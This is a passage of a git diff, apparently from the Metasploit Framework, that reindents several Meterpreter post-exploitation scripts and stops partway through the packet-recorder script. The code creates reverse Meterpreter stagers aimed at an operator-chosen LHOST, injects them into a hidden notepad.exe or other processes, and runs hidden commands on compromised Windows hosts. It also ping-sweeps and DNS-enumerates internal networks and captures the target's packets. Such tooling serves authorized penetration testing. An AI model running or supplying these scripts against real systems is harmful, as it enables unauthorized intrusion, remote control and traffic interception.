pay = client.framework.payloads.create(payload) - pay.datastore['LHOST'] = lhost - pay.datastore['LPORT'] = lport - return pay + print_status("Creating a reverse meterpreter stager: LHOST=#{lhost} LPORT=#{lport}") + payload = payload_type + pay = client.framework.payloads.create(payload) + pay.datastore['LHOST'] = lhost + pay.datastore['LPORT'] = lport + return pay end # Function starting notepad.exe process #------------------------------------------------------------------------------- def start_proc() - print_good("Starting Notepad.exe to house Meterpreter Session.") - proc = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true }) - print_good("Process created with pid #{proc.pid}") - return proc.pid + print_good("Starting Notepad.exe to house Meterpreter Session.") + proc = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true }) + print_good("Process created with pid #{proc.pid}") + return proc.pid end ################## Main ################## @exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - when "-p" - lport = val.to_i - when "-m" - start_handler = true - when "-pt" - payload_type = val - when "-mr" - multi_ip = val.split(",") - when "-mp" - multi_pid = val.split(",") - end + case opt + when "-h" + usage + when "-p" + lport = val.to_i + when "-m" + start_handler = true + when "-pt" + payload_type = val + when "-mr" + multi_ip = val.split(",") + when "-mp" + multi_pid = val.split(",") + end } # Check for Version of Meterpreter @@ -122,24 +122,24 @@ create_multi_handler(payload_type) if start_handler # Check to make sure a PID or Program name where provided if multi_ip - if multi_pid - if multi_ip.length == multi_pid.length - pid_index = 0 - multi_ip.each do |i| - payload = create_payload(payload_type,i,lport) - inject(multi_pid[pid_index],payload) - select(nil, nil, nil, 5) - pid_index = pid_index + 1 - end - else - multi_ip.each do |i| - payload = create_payload(payload_type,i,lport) - inject(start_proc,payload) - select(nil, nil, nil, 2) - end - end - end + if multi_pid + if multi_ip.length == multi_pid.length + pid_index = 0 + multi_ip.each do |i| + payload = create_payload(payload_type,i,lport) + inject(multi_pid[pid_index],payload) + select(nil, nil, nil, 5) + pid_index = pid_index + 1 + end + else + multi_ip.each do |i| + payload = create_payload(payload_type,i,lport) + inject(start_proc,payload) + select(nil, nil, nil, 2) + end + end + end else - print_error("You must provide at least one IP!") + print_error("You must provide at least one IP!") end diff --git a/scripts/meterpreter/multicommand.rb b/scripts/meterpreter/multicommand.rb index 53f82eddb5..5a59549e29 100644 --- a/scripts/meterpreter/multicommand.rb +++ b/scripts/meterpreter/multicommand.rb @@ -7,10 +7,10 @@ session = client wininfo = client.sys.config.sysinfo # Setting Arguments @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ], - "-cl" => [ true,"Commands to execute. The command must be enclosed in double quotes and separated by a comma."], - "-f" => [ true,"File where to saved output of command."], - "-rc" => [ true,"Text file with list of commands, one per line."] + "-h" => [ false,"Help menu." ], + "-cl" => [ true,"Commands to execute. The command must be enclosed in double quotes and separated by a comma."], + "-f" => [ true,"File where to saved output of command."], + "-rc" => [ true,"Text file with list of commands, one per line."] ) #Setting Argument variables commands = [] @@ -21,83 +21,83 @@ help = 0 ################## Function Declarations ################## # Function for running a list of commands stored in a array, returs string def list_exec(session,cmdlst) - print_status("Running Command List ...") - tmpout = "" - cmdout = "" - r='' - session.response_timeout=120 - cmdlst.each do |cmd| - next if cmd.strip.length < 1 - next if cmd[0,1] == "#" - begin - print_status "\trunning command #{cmd}" - tmpout = "\n" - tmpout << "*****************************************\n" - tmpout << " Output of #{cmd}\n" - tmpout << "*****************************************\n" - r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true}) - while(d = r.channel.read) - tmpout << d - break if d == "" - end - cmdout << tmpout - r.channel.close - #r.close - rescue ::Exception => e - print_status("Error Running Command #{cmd}: #{e.class} #{e}") - end - end - cmdout + print_status("Running Command List ...") + tmpout = "" + cmdout = "" + r='' + session.response_timeout=120 + cmdlst.each do |cmd| + next if cmd.strip.length < 1 + next if cmd[0,1] == "#" + begin + print_status "\trunning command #{cmd}" + tmpout = "\n" + tmpout << "*****************************************\n" + tmpout << " Output of #{cmd}\n" + tmpout << "*****************************************\n" + r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true}) + while(d = r.channel.read) + tmpout << d + break if d == "" + end + cmdout << tmpout + r.channel.close + #r.close + rescue ::Exception => e + print_status("Error Running Command #{cmd}: #{e.class} #{e}") + end + end + cmdout end # Function for writing results of other functions to a file def filewrt(file2wrt, data2wrt) - output = ::File.open(file2wrt, "a") - data2wrt.each_line do |d| - output.puts(d) - end - output.close + output = ::File.open(file2wrt, "a") + data2wrt.each_line do |d| + output.puts(d) + end + output.close end def usage - print_line("Windows Multi Command Execution Meterpreter Script ") - print_line(@@exec_opts.usage) - raise Rex::Script::Completed + print_line("Windows Multi Command Execution Meterpreter Script ") + print_line(@@exec_opts.usage) + raise Rex::Script::Completed end ################## Main ################## @@exec_opts.parse(args) { |opt, idx, val| - case opt + case opt - when "-cl" - commands = val.split(",") - when "-rc" - script = val - if not ::File.exists?(script) - raise "Command List File does not exists!" - else - ::File.open(script, "r").each_line do |line| - commands << line.chomp - end - end - when "-f" - outfile = val - when "-h" - help = 1 - end + when "-cl" + commands = val.split(",") + when "-rc" + script = val + if not ::File.exists?(script) + raise "Command List File does not exists!" + else + ::File.open(script, "r").each_line do |line| + commands << line.chomp + end + end + when "-f" + outfile = val + when "-h" + help = 1 + end } if args.length == 0 or help == 1 - usage + usage elsif commands or script - if outfile - filewrt(outfile, list_exec(session,commands)) - else - list_exec(session,commands).each_line do |l| - print_status(l.chomp) - end - end - raise Rex::Script::Completed + if outfile + filewrt(outfile, list_exec(session,commands)) + else + list_exec(session,commands).each_line do |l| + print_status(l.chomp) + end + end + raise Rex::Script::Completed else - usage + usage end diff --git a/scripts/meterpreter/multiscript.rb b/scripts/meterpreter/multiscript.rb index 01cfaf6791..92b54b5935 100644 --- a/scripts/meterpreter/multiscript.rb +++ b/scripts/meterpreter/multiscript.rb @@ -6,9 +6,9 @@ session = client # Setting Argument @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ], - "-cl" => [ true,"Collection of scripts to execute. Each script command must be enclosed in double quotes and separated by a semicolon."], - "-rc" => [ true,"Text file with list of commands, one per line."] + "-h" => [ false,"Help menu." ], + "-cl" => [ true,"Collection of scripts to execute. Each script command must be enclosed in double quotes and separated by a semicolon."], + "-rc" => [ true,"Text file with list of commands, one per line."] ) #Setting Argument variables commands = "" @@ -18,53 +18,53 @@ help = 0 ################## Function Declarations ################## # Function for running a list of scripts stored in a array def script_exec(session,scrptlst) - print_status("Running script List ...") - scrptlst.each_line do |scrpt| - next if scrpt.strip.length < 1 - next if scrpt[0,1] == "#" + print_status("Running script List ...") + scrptlst.each_line do |scrpt| + next if scrpt.strip.length < 1 + next if scrpt[0,1] == "#" - begin - script_components = scrpt.split - script = script_components.shift - script_args = script_components - print_status "\trunning script #{scrpt.chomp}" - session.execute_script(script, script_args) - rescue ::Exception => e - print_error("Error: #{e.class} #{e}") - print_error("Error in script: #{scrpt}") - end - end + begin + script_components = scrpt.split + script = script_components.shift + script_args = script_components + print_status "\trunning script #{scrpt.chomp}" + session.execute_script(script, script_args) + rescue ::Exception => e + print_error("Error: #{e.class} #{e}") + print_error("Error in script: #{scrpt}") + end + end end def usage - print_line("Multi Script Execution Meterpreter Script ") - print_line(@@exec_opts.usage) + print_line("Multi Script Execution Meterpreter Script ") + print_line(@@exec_opts.usage) end ################## Main ################## @@exec_opts.parse(args) do |opt, idx, val| - case opt + case opt - when "-cl" - commands = val.gsub(/;/,"\n") - when "-rc" - script = val - if not ::File.exists?(script) - raise "Script List File does not exists!" - else - ::File.open(script, "rb").each_line do |line| - commands << line - end - end - when "-h" - help = 1 - end + when "-cl" + commands = val.gsub(/;/,"\n") + when "-rc" + script = val + if not ::File.exists?(script) + raise "Script List File does not exists!" + else + ::File.open(script, "rb").each_line do |line| + commands << line + end + end + when "-h" + help = 1 + end end if args.length == 0 or help == 1 - usage + usage else - print_status("Running Multiscript script.....") - script_exec(session,commands) + print_status("Running Multiscript script.....") + script_exec(session,commands) end diff --git a/scripts/meterpreter/netenum.rb b/scripts/meterpreter/netenum.rb index f3cb4c31a5..50ca71a519 100644 --- a/scripts/meterpreter/netenum.rb +++ b/scripts/meterpreter/netenum.rb @@ -5,15 +5,15 @@ #Note: ################## Variable Declarations ################## @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-r" => [ true, "The target address range or CIDR identifier" ], - "-ps" => [ false, "To Perform Ping Sweep on IP Range" ], - "-rl" => [ false, "To Perform DNS Reverse Lookup on IP Range" ], - "-fl" => [ false, "To Perform DNS Forward Lookup on host list and domain" ], - "-hl" => [ true, "File with Host List for DNS Forward Lookup" ], - "-d" => [ true, "Domain Name for DNS Forward Lookup" ], - "-st" => [ false, "To Perform DNS lookup of MX and NS records for a domain" ], - "-sr" => [ false, "To Perform Service Record DNS lookup for a domain" ] + "-h" => [ false, "Help menu." ], + "-r" => [ true, "The target address range or CIDR identifier" ], + "-ps" => [ false, "To Perform Ping Sweep on IP Range" ], + "-rl" => [ false, "To Perform DNS Reverse Lookup on IP Range" ], + "-fl" => [ false, "To Perform DNS Forward Lookup on host list and domain" ], + "-hl" => [ true, "File with Host List for DNS Forward Lookup" ], + "-d" => [ true, "Domain Name for DNS Forward Lookup" ], + "-st" => [ false, "To Perform DNS lookup of MX and NS records for a domain" ], + "-sr" => [ false, "To Perform Service Record DNS lookup for a domain" ] ) session = client host,port = session.session_host, session.session_port @@ -33,233 +33,233 @@ dest = logs + "/" + host + filenameinfo #------------------------------------------------------------------------------- # Function for performing regular lookup of MX and NS records def stdlookup(session, domain, dest) - dest = dest + "-general-record-lookup.txt" - print_status("Getting MX and NS Records for domain #{domain}") - filewrt(dest,"SOA, NS and MX Records for domain #{domain}") - types = ["SOA","NS","MX"] - mxout = [] - results = [] - garbage = [] - types.each do |t| - begin - r = session.sys.process.execute("nslookup -type=#{t} #{domain}", nil, {'Hidden' => true, 'Channelized' => true}) - while(d = r.channel.read) - mxout << d - end - r.channel.close - r.close - results = mxout.join.split(/\n/) - results.each do |rec| - if rec.match(/\s*internet\saddress\s\=\s/) - garbage << rec.split(/\s*internet\saddress\s\=/) - print_status("#{garbage[0].join.sub(" "," ")} #{t} ") - filewrt(dest,garbage[0].join.sub(" "," ")+" #{t} ") - garbage.clear - end - garbage.clear - end + dest = dest + "-general-record-lookup.txt" + print_status("Getting MX and NS Records for domain #{domain}") + filewrt(dest,"SOA, NS and MX Records for domain #{domain}") + types = ["SOA","NS","MX"] + mxout = [] + results = [] + garbage = [] + types.each do |t| + begin + r = session.sys.process.execute("nslookup -type=#{t} #{domain}", nil, {'Hidden' => true, 'Channelized' => true}) + while(d = r.channel.read) + mxout << d + end + r.channel.close + r.close + results = mxout.join.split(/\n/) + results.each do |rec| + if rec.match(/\s*internet\saddress\s\=\s/) + garbage << rec.split(/\s*internet\saddress\s\=/) + print_status("#{garbage[0].join.sub(" "," ")} #{t} ") + filewrt(dest,garbage[0].join.sub(" "," ")+" #{t} ") + garbage.clear + end + garbage.clear + end - rescue ::Exception => e - print_status("The following error was encountered: #{e.class} #{e}") - end - end + rescue ::Exception => e + print_status("The following error was encountered: #{e.class} #{e}") + end + end end #------------------------------------------------------------------------------- # Function for writing results of other functions to a file def filewrt(file2wrt, data2wrt) - output = ::File.open(file2wrt, "ab") - data2wrt.each_line do |d| - output.puts(d) - end - output.close + output = ::File.open(file2wrt, "ab") + data2wrt.each_line do |d| + output.puts(d) + end + output.close end #------------------------------------------------------------------------------- # Function for Executing Reverse lookups def reverselookup(session, iprange, dest) - dest = dest + "-DNS-reverse-lookup.txt" - print_status("Performing DNS reverse lookup for IP range #{iprange}") - filewrt(dest,"DNS reverse lookup for IP range #{iprange}") - iplst =[] - i, a = 0, [] - begin - ipadd = Rex::Socket::RangeWalker.new(iprange) - numip = ipadd.num_ips - while (iplst.length < numip) - ipa = ipadd.next_ip - if (not ipa) - break - end - iplst << ipa - end - begin - iplst.each do |ip| - if i < 10 - a.push(::Thread.new { - r = session.sys.process.execute("nslookup #{ip}", nil, {'Hidden' => true, 'Channelized' => true}) - while(d = r.channel.read) - if d =~ /(Name)/ - d.scan(/Name:\s*\S*\s/) do |n| - hostname = n.split(": ") - print_status "\t #{ip} is #{hostname[1].chomp("\n")}" - filewrt(dest,"#{ip} is #{hostname[1].chomp("\n")}") - end - break + dest = dest + "-DNS-reverse-lookup.txt" + print_status("Performing DNS reverse lookup for IP range #{iprange}") + filewrt(dest,"DNS reverse lookup for IP range #{iprange}") + iplst =[] + i, a = 0, [] + begin + ipadd = Rex::Socket::RangeWalker.new(iprange) + numip = ipadd.num_ips + while (iplst.length < numip) + ipa = ipadd.next_ip + if (not ipa) + break + end + iplst << ipa + end + begin + iplst.each do |ip| + if i < 10 + a.push(::Thread.new { + r = session.sys.process.execute("nslookup #{ip}", nil, {'Hidden' => true, 'Channelized' => true}) + while(d = r.channel.read) + if d =~ /(Name)/ + d.scan(/Name:\s*\S*\s/) do |n| + hostname = n.split(": ") + print_status "\t #{ip} is #{hostname[1].chomp("\n")}" + filewrt(dest,"#{ip} is #{hostname[1].chomp("\n")}") + end + break - end + end - end + end - r.channel.close - r.close + r.channel.close + r.close - }) - i += 1 - else - sleep(0.05) and a.delete_if {|x| not x.alive?} while not a.empty? - i = 0 - end - end - a.delete_if {|x| not x.alive?} while not a.empty? - end - rescue ::Exception => e - print_status("The following error was encountered: #{e.class} #{e}") - end + }) + i += 1 + else + sleep(0.05) and a.delete_if {|x| not x.alive?} while not a.empty? + i = 0 + end + end + a.delete_if {|x| not x.alive?} while not a.empty? + end + rescue ::Exception => e + print_status("The following error was encountered: #{e.class} #{e}") + end end #------------------------------------------------------------------------------- #Function for Executing Forward Lookups def frwdlp(session, hostlst, domain, dest) - dest = dest + "-DNS-forward-lookup.txt" - print_status("Performing DNS forward lookup for hosts in #{hostlst} for domain #{domain}") - filewrt(dest,"DNS forward lookup for hosts in #{hostlst} for domain #{domain}") - result = [] - threads = [] - tmpout = [] - begin - if ::File.exists?(hostlst) - ::File.open(hostlst).each {|line| - threads << ::Thread.new(line) { |h| - #print_status("checking #{h.chomp}") - r = session.sys.process.execute("nslookup #{h.chomp}.#{domain}", nil, {'Hidden' => true, 'Channelized' => true}) - while(d = r.channel.read) - if d =~ /(Name)/ - d.scan(/Name:\s*\S*\s*Address\w*:\s*.*?.*?.*/) do |n| - tmpout << n.split - end - break - end - end + dest = dest + "-DNS-forward-lookup.txt" + print_status("Performing DNS forward lookup for hosts in #{hostlst} for domain #{domain}") + filewrt(dest,"DNS forward lookup for hosts in #{hostlst} for domain #{domain}") + result = [] + threads = [] + tmpout = [] + begin + if ::File.exists?(hostlst) + ::File.open(hostlst).each {|line| + threads << ::Thread.new(line) { |h| + #print_status("checking #{h.chomp}") + r = session.sys.process.execute("nslookup #{h.chomp}.#{domain}", nil, {'Hidden' => true, 'Channelized' => true}) + while(d = r.channel.read) + if d =~ /(Name)/ + d.scan(/Name:\s*\S*\s*Address\w*:\s*.*?.*?.*/) do |n| + tmpout << n.split + end + break + end + end - r.channel.close - r.close - } - } - threads.each { |aThread| aThread.join } - tmpout.uniq.each do |t| - print_status("\t#{t.join.sub(/Address\w*:/, "\t")}") - filewrt(dest,"#{t.join.sub(/Address\w*:/, "\t")}") - end + r.channel.close + r.close + } + } + threads.each { |aThread| aThread.join } + tmpout.uniq.each do |t| + print_status("\t#{t.join.sub(/Address\w*:/, "\t")}") + filewrt(dest,"#{t.join.sub(/Address\w*:/, "\t")}") + end - else - print_status("File #{hostlst} doesn't exists!") - exit - end - rescue ::Exception => e - print_status("The following error was encountered: #{e.class} #{e}") - end + else + print_status("File #{hostlst} doesn't exists!") + exit + end + rescue ::Exception => e + print_status("The following error was encountered: #{e.class} #{e}") + end end #------------------------------------------------------------------------------- #Function for Executing Ping Sweep def pingsweep(session, iprange, dest) - dest = dest + "-pingsweep.txt" - print_status("Performing ping sweep for IP range #{iprange}") - filewrt(dest,"Ping sweep for IP range #{iprange}") - iplst = [] - begin - i, a = 0, [] - ipadd = Rex::Socket::RangeWalker.new(iprange) - numip = ipadd.num_ips - while (iplst.length < numip) - ipa = ipadd.next_ip - if (not ipa) - break - end - iplst << ipa - end - begin - iplst.each do |ip| - if i < 10 - a.push(::Thread.new { - r = session.sys.process.execute("ping #{ip} -n 1", nil, {'Hidden' => true, 'Channelized' => true}) - while(d = r.channel.read) - if d =~ /(Reply)/ - print_status "\t#{ip} host found" - filewrt(dest,"#{ip} host found") - r.channel.close - elsif d =~ /(Antwort)/ - print_status "\t#{ip} host found" - filewrt(dest,"#{ip} host found") - r.channel.close - end - end - r.channel.close - r.close + dest = dest + "-pingsweep.txt" + print_status("Performing ping sweep for IP range #{iprange}") + filewrt(dest,"Ping sweep for IP range #{iprange}") + iplst = [] + begin + i, a = 0, [] + ipadd = Rex::Socket::RangeWalker.new(iprange) + numip = ipadd.num_ips + while (iplst.length < numip) + ipa = ipadd.next_ip + if (not ipa) + break + end + iplst << ipa + end + begin + iplst.each do |ip| + if i < 10 + a.push(::Thread.new { + r = session.sys.process.execute("ping #{ip} -n 1", nil, {'Hidden' => true, 'Channelized' => true}) + while(d = r.channel.read) + if d =~ /(Reply)/ + print_status "\t#{ip} host found" + filewrt(dest,"#{ip} host found") + r.channel.close + elsif d =~ /(Antwort)/ + print_status "\t#{ip} host found" + filewrt(dest,"#{ip} host found") + r.channel.close + end + end + r.channel.close + r.close - }) - i += 1 - else - sleep(0.05) and a.delete_if {|x| not x.alive?} while not a.empty? - i = 0 - end - end - a.delete_if {|x| not x.alive?} while not a.empty? - end - rescue ::Exception => e - print_status("The following error was encountered: #{e.class} #{e}") - end + }) + i += 1 + else + sleep(0.05) and a.delete_if {|x| not x.alive?} while not a.empty? + i = 0 + end + end + a.delete_if {|x| not x.alive?} while not a.empty? + end + rescue ::Exception => e + print_status("The following error was encountered: #{e.class} #{e}") + end end #------------------------------------------------------------------------------- #Function for enumerating srv records def srvreclkp(session, domain, dest) - dest = dest + "-srvenum.txt" - srout = [] - garbage = [] - srvrcd = [ - "_gc._tcp.","_kerberos._tcp.", "_kerberos._udp.","_ldap._tcp.","_test._tcp.", - "_sips._tcp.","_sip._udp.","_sip._tcp.","_aix._tcp.","_aix._tcp.","_finger._tcp.", - "_ftp._tcp.","_http._tcp.","_nntp._tcp.","_telnet._tcp.","_whois._tcp." - ] - print_status("Performing SRV record enumeration for #{domain}") - filewrt(dest,"SRV record enumeration for #{domain}") - srvrcd.each do |srv| - r = session.sys.process.execute("nslookup -query=srv #{srv}#{domain}", nil, {'Hidden' => true, 'Channelized' => true}) - while(d = r.channel.read) - srout << d - end - r.channel.close - r.close - results = srout.join.split(/\n/) - results.each do |rec| - if rec.match(/\s*internet\saddress\s\=\s/) - garbage << rec.split(/\s*internet\saddress\s\=/) - print_status("\tfor #{srv}#{domain} #{garbage[0].join.sub(" "," ")}") - filewrt(dest,"for #{srv}#{domain} #{garbage[0].join.sub(" "," ")}") - garbage.clear - end - garbage.clear - srout.clear - end - end + dest = dest + "-srvenum.txt" + srout = [] + garbage = [] + srvrcd = [ + "_gc._tcp.","_kerberos._tcp.", "_kerberos._udp.","_ldap._tcp.","_test._tcp.", + "_sips._tcp.","_sip._udp.","_sip._tcp.","_aix._tcp.","_aix._tcp.","_finger._tcp.", + "_ftp._tcp.","_http._tcp.","_nntp._tcp.","_telnet._tcp.","_whois._tcp." + ] + print_status("Performing SRV record enumeration for #{domain}") + filewrt(dest,"SRV record enumeration for #{domain}") + srvrcd.each do |srv| + r = session.sys.process.execute("nslookup -query=srv #{srv}#{domain}", nil, {'Hidden' => true, 'Channelized' => true}) + while(d = r.channel.read) + srout << d + end + r.channel.close + r.close + results = srout.join.split(/\n/) + results.each do |rec| + if rec.match(/\s*internet\saddress\s\=\s/) + garbage << rec.split(/\s*internet\saddress\s\=/) + print_status("\tfor #{srv}#{domain} #{garbage[0].join.sub(" "," ")}") + filewrt(dest,"for #{srv}#{domain} #{garbage[0].join.sub(" "," ")}") + garbage.clear + end + garbage.clear + srout.clear + end + end end #------------------------------------------------------------------------------- #Function to print message during run def message(dest) - print_status "Network Enumerator Meterpreter Script " - print_status "Log file being saved in #{dest}" + print_status "Network Enumerator Meterpreter Script " + print_status "Log file being saved in #{dest}" end ################## MAIN ################## @@ -276,82 +276,82 @@ srvrc = nil # Parsing of Options @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-sr" - srvrc = 1 - when "-rl" - rvrslkp = 1 - when "-fl" - frdlkp = 1 - when "-ps" - pngsp = 1 - when "-st" - stdlkp = 1 - when "-d" - dom = val - when "-hl" - hostlist = val - when "-r" - range = val - when "-h" - print( - "Network Enumerator Meterpreter Script\n" + - "Usage:\n" + - @@exec_opts.usage - ) - helpcall = 1 - end + case opt + when "-sr" + srvrc = 1 + when "-rl" + rvrslkp = 1 + when "-fl" + frdlkp = 1 + when "-ps" + pngsp = 1 + when "-st" + stdlkp = 1 + when "-d" + dom = val + when "-hl" + hostlist = val + when "-r" + range = val + when "-h" + print( + "Network Enumerator Meterpreter Script\n" + + "Usage:\n" + + @@exec_opts.usage + ) + helpcall = 1 + end } if client.platform =~ /win32|win64/ - if pngsp == 1 - if range != nil - message(logs) - pingsweep(session, range, dest) - else - print_error("Please add a range to scan: -r <value>") - end - elsif rvrslkp == 1 - if range != nil - message(logs) - reverselookup(session, range, dest) - else - print_error("Please add a range to scan: -r <value>") - end - elsif frdlkp == 1 - if dom != nil && hostlist!= nil && - message(logs) - frwdlp(session, hostlist, dom, dest) - elsif dom == nil - print_error("Please add a domain name for DNS forward lookup: -d <value>") - elsif hostlist == nil - print_error("Please add a file with host list for DNS forward lookup: -hl <value>") - else - print_error("Something went wront") - end - elsif stdlkp == 1 - if dom != nil - message(logs) - stdlookup(session, dom, dest) - else - print_error("Please add a domain name for DNS forward lookup: -d <value>") - end - elsif srvrc == 1 - if dom != nil - message(logs) - srvreclkp(session, dom, dest) - else - print_error("Please add a domain name for DNS forward lookup: -d <value>") - end - else - print("Network Enumerator Meterpreter Script\n" + - "Usage:\n" + - "\tnetenum -r <value> (-ps | -rl)\n" + - "\tnetenum -d <value> (-st | -sr)\n" + - "\tnetenum -d <value> -lh <value> -fl\n" + - @@exec_opts.usage) - end + if pngsp == 1 + if range != nil + message(logs) + pingsweep(session, range, dest) + else + print_error("Please add a range to scan: -r <value>") + end + elsif rvrslkp == 1 + if range != nil + message(logs) + reverselookup(session, range, dest) + else + print_error("Please add a range to scan: -r <value>") + end + elsif frdlkp == 1 + if dom != nil && hostlist!= nil && + message(logs) + frwdlp(session, hostlist, dom, dest) + elsif dom == nil + print_error("Please add a domain name for DNS forward lookup: -d <value>") + elsif hostlist == nil + print_error("Please add a file with host list for DNS forward lookup: -hl <value>") + else + print_error("Something went wront") + end + elsif stdlkp == 1 + if dom != nil + message(logs) + stdlookup(session, dom, dest) + else + print_error("Please add a domain name for DNS forward lookup: -d <value>") + end + elsif srvrc == 1 + if dom != nil + message(logs) + srvreclkp(session, dom, dest) + else + print_error("Please add a domain name for DNS forward lookup: -d <value>") + end + else + print("Network Enumerator Meterpreter Script\n" + + "Usage:\n" + + "\tnetenum -r <value> (-ps | -rl)\n" + + "\tnetenum -d <value> (-st | -sr)\n" + + "\tnetenum -d <value> -lh <value> -fl\n" + + @@exec_opts.usage) + end else - print_error("This version of Meterpreter is not supported with this script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/packetrecorder.rb b/scripts/meterpreter/packetrecorder.rb index 049a41924c..72b7d546a3 100644 --- a/scripts/meterpreter/packetrecorder.rb +++ b/scripts/meterpreter/packetrecorder.rb @@ -16,11 +16,11 @@ list_int = nil # Log Folder log_dest = nil @exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu."], - "-t" => [ true, "Time interval in seconds between recollection of packet, default 30 seconds."], - "-i" => [ true, "Interface ID number where all packet capture will be done."], - "-li" => [ false, "List interfaces that can be used for capture."], - "-l" => [ true, "Specify and alternate folder to save PCAP file."] + "-h" => [ false, "Help menu."], + "-t" => [ true, "Time interval in seconds between recollection of packet, default 30 seconds."], + "-i" => [ true, "Interface ID number where all packet capture will be done."], + "-li" => [ false, "List interfaces that can be used for capture."], + "-l" => [ true, "Specify and alternate folder to save PCAP file."] ) meter_type = client.platform @@ -29,184 +29,184 @@ meter_type = client.platform # Usage Message Function #------------------------------------------------------------------------------- def usage - print_line "Meterpreter Script for capturing packets in to a PCAP file" - print_line "on a target host given a interface ID." - print_line(@exec_opts.usage) - raise Rex::Script::Completed + print_line "Meterpreter Script for capturing packets in to a PCAP file" + print_line "on a target host given a interface ID." + print_line(@exec_opts.usage) + raise Rex::Script::Completed end # Wrong Meterpreter Version Message Function #------------------------------------------------------------------------------- def wrong_meter_version(meter = meter_type) - print_error("#{meter} version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("#{meter} version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end # Function for creating log folder and returning log pa #------------------------------------------------------------------------------- def log_file(log_path = nil) - #Get hostname - host = @client.sys.config.sysinfo["Computer"] + #Get hostname + host = @client.sys.config.sysinfo["Computer"] - # Create Filename info to be appended to downloaded files - filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") + # Create Filename info to be appended to downloaded files + filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") - # Create a directory for the logs - if log_path - logs = ::File.join(log_path, 'logs', 'packetrecorder', host + filenameinfo ) - else - logs = ::File.join(Msf::Config.log_directory, "scripts", 'packetrecorder', host + filenameinfo ) - end + # Create a directory for the logs + if log_path + logs = ::File.join(log_path, 'logs', 'packetrecorder', host + filenameinfo ) + else + logs = ::File.join(Msf::Config.log_directory, "scripts", 'packetrecorder', host + filenameinfo ) + end - # Create the log directory - ::FileUtils.mkdir_p(logs) + # Create the log directory + ::FileUtils.mkdir_p(logs) - #logfile name - logfile = logs + ::File::Separator + host + filenameinfo + ".cap" - return Rex::FileUtils.clean_path(logfile) + #logfile name + logfile = logs + ::File::Separator + host + filenameinfo + ".cap" + return Rex::FileUtils.clean_path(logfile) end #Function for Starting Capture #------------------------------------------------------------------------------- def startsniff(interface_id) - begin - #Load Sniffer module - @client.core.use("sniffer") - print_status("Starting Packet capture on interface #{interface_id}") - #starting packet capture with a buffer size of 200,000 packets - @client.sniffer.capture_start(interface_id, 200000) - print_good("Packet capture started") - rescue ::Exception => e - print_status("Error Starting Packet Capture: #{e.class} #{e}") - raise Rex::Script::Completed - end + begin + #Load Sniffer module + @client.core.use("sniffer") + print_status("Starting Packet capture on interface #{interface_id}") + #starting packet capture with a buffer size of 200,000 packets + @client.sniffer.capture_start(interface_id, 200000) + print_good("Packet capture started") + rescue ::Exception => e + print_status("Error Starting Packet Capture: #{e.class} #{e}") + raise Rex::Script::Completed + end end #Function for Recording captured packets into PCAP file #------------------------------------------------------------------------------- def packetrecord(packtime, logfile,intid) - begin - rec = 1 - print_status("Packets being saved in to #{logfile}") - print_status("Packet capture interval is #{packtime} Seconds") - #Inserting Packets every number of seconds specified - while rec == 1 - path_cap = logfile - path_raw = logfile + '.raw' - fd = ::File.new(path_raw, 'wb+') - #Flushing Buffers - res = @client.sniffer.capture_dump(intid) - bytes_all = res[:bytes] || 0 - bytes_got = 0 - bytes_pct = 0 - while (bytes_all > 0) - res = @client.sniffer.capture_dump_read(intid,1024*512) - bytes_got += res[:bytes] - pct = ((bytes_got.to_f / bytes_all.to_f) * 100).to_i - if(pct > bytes_pct) - bytes_pct = pct - end - break if res[:bytes] == 0 - fd.write(res[:data]) - end + begin + rec = 1 + print_status("Packets being saved in to #{logfile}") + print_status("Packet capture interval is #{packtime} Seconds") + #Inserting Packets every number of seconds specified + while rec == 1 + path_cap = logfile + path_raw = logfile + '.raw' + fd = ::File.new(path_raw, 'wb+') + #Flushing Buffers + res = @client.sniffer.capture_dump(intid) + bytes_all = res[:bytes] || 0 + bytes_got = 0 + bytes_pct = 0 + while (bytes_all > 0) + res = @client.sniffer.capture_dump_read(intid,1024*512) + bytes_got += res[:bytes] + pct = ((bytes_got.to_f / bytes_all.to_f) * 100).to_i + if(pct > bytes_pct) + bytes_pct = pct + end + break if res[:bytes] == 0 + fd.write(res[:data]) + end - fd.close - #Converting raw file to PCAP - fd = nil - if(::File.exist?(path_cap)) - fd = ::File.new(path_cap, 'ab+') - else - fd = ::File.new(path_cap, 'wb+') - fd.write([0xa1b2c3d4, 2, 4, 0, 0, 65536, 1].pack('NnnNNNN')) - end - od = ::File.new(path_raw, 'rb') + fd.close + #Converting raw file to PCAP + fd = nil + if(::File.exist?(path_cap)) + fd = ::File.new(path_cap, 'ab+') + else + fd = ::File.new(path_cap, 'wb+') + fd.write([0xa1b2c3d4, 2, 4, 0, 0, 65536, 1].pack('NnnNNNN')) + end + od = ::File.new(path_raw, 'rb') - # TODO: reorder packets based on the ID (only an issue if the buffer wraps) - while(true) - buf = od.read(20) - break if not buf + # TODO: reorder packets based on the ID (only an issue if the buffer wraps) + while(true) + buf = od.read(20) + break if not buf - idh,idl,thi,tlo,len = buf.unpack('N5') - break if not len - if(len > 10000) - print_error("Corrupted packet data (length:#{len})") - break - end + idh,idl,thi,tlo,len = buf.unpack('N5') + break if not len + if(len > 10000) + print_error("Corrupted packet data (length:#{len})") + break + end - pkt_ts = Rex::Proto::SMB::Utils.time_smb_to_unix(thi,tlo) - pkt = od.read(len) - fd.write([pkt_ts,0,len,len].pack('NNNN')+pkt) - end - od.close - fd.close + pkt_ts = Rex::Proto::SMB::Utils.time_smb_to_unix(thi,tlo) + pkt = od.read(len) + 